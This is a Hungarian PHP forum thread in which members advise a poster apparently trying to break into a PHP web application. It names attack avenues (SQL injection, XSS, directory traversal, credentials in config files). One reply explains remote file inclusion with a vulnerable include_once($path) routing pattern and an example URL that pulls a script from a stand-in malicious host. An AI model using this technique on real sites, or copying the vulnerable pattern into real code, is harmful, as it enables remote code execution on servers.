Új hozzászólás Aktív témák

• #18726 DNReNTi őstag MacCaine #18725

  Új Válasz 2017-01-04 16:19:18 #18726

  Új hozzászólás

  Összes hozzászólása itt Válaszok az összes hozzászólására itt Válaszok erre a hozzászólásra

  Privát üzenet küldése

  

  DNReNTi

  őstag

  válasz MacCaine #18725 üzenetére

  Nincs ezzel baj, mert engem is erdekel a tema, csak segiteni nem nagyon tudok mer hulye vagyok hozza. De ha lenne ilyen topik, en olvasgatnam.

• #18722 sztanozs veterán MacCaine #18720

  Új Válasz 2017-01-04 15:42:57 #18722

  Új hozzászólás

  Összes hozzászólása itt Válaszok az összes hozzászólására itt Válaszok erre a hozzászólásra

  Privát üzenet küldése

  

  sztanozs

  veterán

  válasz MacCaine #18720 üzenetére

  config fájlokban nincsenek db hozzáférési adatok?

• #18721 PumpkinSeed addikt MacCaine #18720

  Új Válasz 2017-01-04 15:11:59 #18721

  Új hozzászólás

  Összes hozzászólása itt Válaszok az összes hozzászólására itt Válaszok erre a hozzászólásra

  Privát üzenet küldése

  

  PumpkinSeed

  addikt

  válasz MacCaine #18720 üzenetére

  A fájl jogosultságait nem tudod megnézni, az ilyeneket úgy szokták megoldani, hogy a group owner az nem root és tudsz futtatni valami fájlt aminek azonos a group ownere mint a flag-nek.

• #18719 sztanozs veterán MacCaine #18717

  Új Válasz 2017-01-04 12:18:20 #18719

  Új hozzászólás

  Összes hozzászólása itt Válaszok az összes hozzászólására itt Válaszok erre a hozzászólásra

  Privát üzenet küldése

  

  sztanozs

  veterán

  válasz MacCaine #18717 üzenetére

  feltölteni tudsz az oldalra (és directory traversal)?

• #18718 DNReNTi őstag MacCaine #18717

  Új Válasz 2017-01-04 11:21:06 #18718

  Új hozzászólás

  Összes hozzászólása itt Válaszok az összes hozzászólására itt Válaszok erre a hozzászólásra

  Privát üzenet küldése

  

  DNReNTi

  őstag

  válasz MacCaine #18717 üzenetére

  Ertem ertem.
  En meg mindig inkabb maganak a szervernek (apache/nginx) a toresevel probalkoznek inkabb. Mondom ezt ugy, hogy nem ertek hozza, de valamiert azt gondolom az celravezetobb lehet. De lehet hulyeseg.

• #18716 DNReNTi őstag MacCaine #18714

  Új Válasz 2017-01-04 11:11:30 #18716

  Új hozzászólás

  Összes hozzászólása itt Válaszok az összes hozzászólására itt Válaszok erre a hozzászólásra

  Privát üzenet küldése

  

  DNReNTi

  őstag

  válasz MacCaine #18714 üzenetére

  Egyebkent mi a vegso cel? Hasznalhatatlanna tenni az appot? Lenyulni az adatokat, fajlokat? Vagy beinject-elni valami szkriptet es hosszabb tavon felhasznaloi adatokat lopni? Csak kivancsi vagyok.

• #18715 sztanozs veterán MacCaine #18714

  Új Válasz 2017-01-04 10:35:06 #18715

  Új hozzászólás

  Összes hozzászólása itt Válaszok az összes hozzászólására itt Válaszok erre a hozzászólásra

  Privát üzenet küldése

  

  sztanozs

  veterán

  válasz MacCaine #18714 üzenetére

  próbáld meg létrehozni a fájlt.

• #18713 sztanozs veterán MacCaine #18712

  Új Válasz 2017-01-03 23:48:56 #18713

  Új hozzászólás

  Összes hozzászólása itt Válaszok az összes hozzászólására itt Válaszok erre a hozzászólásra

  Privát üzenet küldése

  

  sztanozs

  veterán

  válasz MacCaine #18712 üzenetére

  Lehet, hogy hülye kérdés:
  Biztos ott a fájl, nem lehet, hogy azért nem látod, mert nem is létezik? Vagy ott van, csak nem tudod olvasni?

• #18711 disy68 aktív tag MacCaine #18710

  Új Válasz 2017-01-02 19:32:12 #18711

  Új hozzászólás

  Összes hozzászólása itt Válaszok az összes hozzászólására itt Válaszok erre a hozzászólásra

  Privát üzenet küldése

  

  disy68

  aktív tag

  válasz MacCaine #18710 üzenetére

  RFI. Én olyannal találkoztam, hogy a routing volt megoldva ellenőrizetlen bemenetekkel szép url megoldásnál.

  Pl: oldal.hu/aloldal

  htaccess-el volt egy átirányítás RewriteRule ^(.*)$ /index.php?path=$1 [NC,L,QSA]

  ahol az aloldal került a $path változóba, majd ez lett include-olva.
  include_once($path);

  Szóval meghívva a oldal.hu/http://gonoszoldal.hu/meggonoszabb_script.php
  Az kerül meghívásra, hogy include_once('http://gonoszoldal.hu/meggonoszabb_script.php
');

• #18708 disy68 aktív tag MacCaine #18705

  Új Válasz 2017-01-02 17:23:35 #18708

  Új hozzászólás

  Összes hozzászólása itt Válaszok az összes hozzászólására itt Válaszok erre a hozzászólásra

  Privát üzenet küldése

  

  disy68

  aktív tag

  válasz MacCaine #18705 üzenetére

  Na így más a helyzet kicsit. Mi az elvárás? Csak a php-s alkalmazás problémáit megtalálni vagy az egész rendszerét? Ha az előbbi, akkor a korábbi link, illetve ez segíthet.
  Ha az utóbbi, akkor bonyolódik a helyzet. Ha a webszerver apache, akkor a linkelt oldalon elindulhatsz. Ezen kívül persze lehet az oprendszer is gyenge pont és máris jóval terjedelmesebb a lehetséges sebezhetőségek száma. Nem is beszélve az esetleges egymásra épülő hibák kihasználásáról.

• #18707 DNReNTi őstag MacCaine #18705

  Új Válasz 2017-01-02 17:15:10 #18707

  Új hozzászólás

  Összes hozzászólása itt Válaszok az összes hozzászólására itt Válaszok erre a hozzászólásra

  Privát üzenet küldése

  

  DNReNTi

  őstag

  válasz MacCaine #18705 üzenetére

  Konkretan a webszerverre valo betoreshez nem gondolnam, hogy a PHP lenne a belepesi pont. Ez inkabb linux/unix varazslat kellene hogy legyen. Ha konkretan egy PHP alapu alkalmazast akarsz felnyomni, az mas. Akkor jo kiindulasi alap amit disy68 linkelt. En SQL injection-nel kezdenem, aztan lehet tovabbmenni session lopassal, XSS-el, esatobbi. Mondom ezt ugy, hogy sose csinaltam meg ilyesmit.

• #18706 Zedz addikt MacCaine #18703

  Új Válasz 2017-01-02 16:49:18 #18706

  Új hozzászólás

  Összes hozzászólása itt Válaszok az összes hozzászólására itt Válaszok erre a hozzászólásra

  Privát üzenet küldése

  

  Zedz

  addikt

  válasz MacCaine #18703 üzenetére

  Mesélj!

  Szerk.: ja láttam.
  Ehhez miért kell php?

• #18704 DNReNTi őstag MacCaine #18703

  Új Válasz 2017-01-02 16:33:23 #18704

  Új hozzászólás

  Összes hozzászólása itt Válaszok az összes hozzászólására itt Válaszok erre a hozzászólásra

  Privát üzenet küldése

  

  DNReNTi

  őstag

  válasz MacCaine #18703 üzenetére

  Ja ertem. Ejnye.

• #18702 disy68 aktív tag MacCaine #18700

  Új Válasz 2017-01-02 16:16:35 #18702

  Új hozzászólás

  Összes hozzászólása itt Válaszok az összes hozzászólására itt Válaszok erre a hozzászólásra

  Privát üzenet küldése

  

  disy68

  aktív tag

  válasz MacCaine #18700 üzenetére

  Miért, gondolom nem privát kulcsokat szeretnél megosztani? Nem attól lesz biztonságos az alkalmazás, hogy "nem tudja senki" mit használnak a háttérben, hanem a használt megoldás mennyire megbízható.

  Indulásnak az OWASP lista jó lehet amúgy, ha biztonság a témakör.

• #18701 DNReNTi őstag MacCaine #18700

  Új Válasz 2017-01-02 16:14:20 #18701

  Új hozzászólás

  Összes hozzászólása itt Válaszok az összes hozzászólására itt Válaszok erre a hozzászólásra

  Privát üzenet küldése

  

  DNReNTi

  őstag

  válasz MacCaine #18700 üzenetére

  Nem feltetlenul kell a konkret peldat megosztani, linkekkel, hozzaferessel es koddal, teszem azt kaptal egy finom SQL injection-t, eleg megkerdezni mit tegyel ellene, min valtoztass, vagy mondjuk valami robot arto fajlt tol es futtata a szervereden, mit lehet tenni, esetleg hogyan authentikalj helyesen. Ezekre akkor is lehet valaszolni, ha az ember nem tudja pontosan melyik oldalrol van szo. No de nem okoskodok, ha privat, akkor legyen privat.

• #18699 Zedz addikt MacCaine #18698

  Új Válasz 2017-01-02 15:55:01 #18699

  Új hozzászólás

  Összes hozzászólása itt Válaszok az összes hozzászólására itt Válaszok erre a hozzászólásra

  Privát üzenet küldése

  

  Zedz

  addikt

  válasz MacCaine #18698 üzenetére

  Mi nem publikus egy problémán? Nem hozzáférést kértünk a dev szerverhez.

• #18697 DNReNTi őstag MacCaine #18696

  Új Válasz 2017-01-02 15:37:17 #18697

  Új hozzászólás

  Összes hozzászólása itt Válaszok az összes hozzászólására itt Válaszok erre a hozzászólásra

  Privát üzenet küldése

  

  DNReNTi

  őstag

  válasz MacCaine #18696 üzenetére

  Tobb eselyed van ha csak siman felteszed a kerdest a topikban, tobb szem tobbet lat, valszeg valaszt is hamarabb kapsz es meg valogathatsz is beloluk. Ha van kod, linkeld be pastebin-rol, mert ugy konnyebb mindenkinek.

Új hozzászólás Aktív témák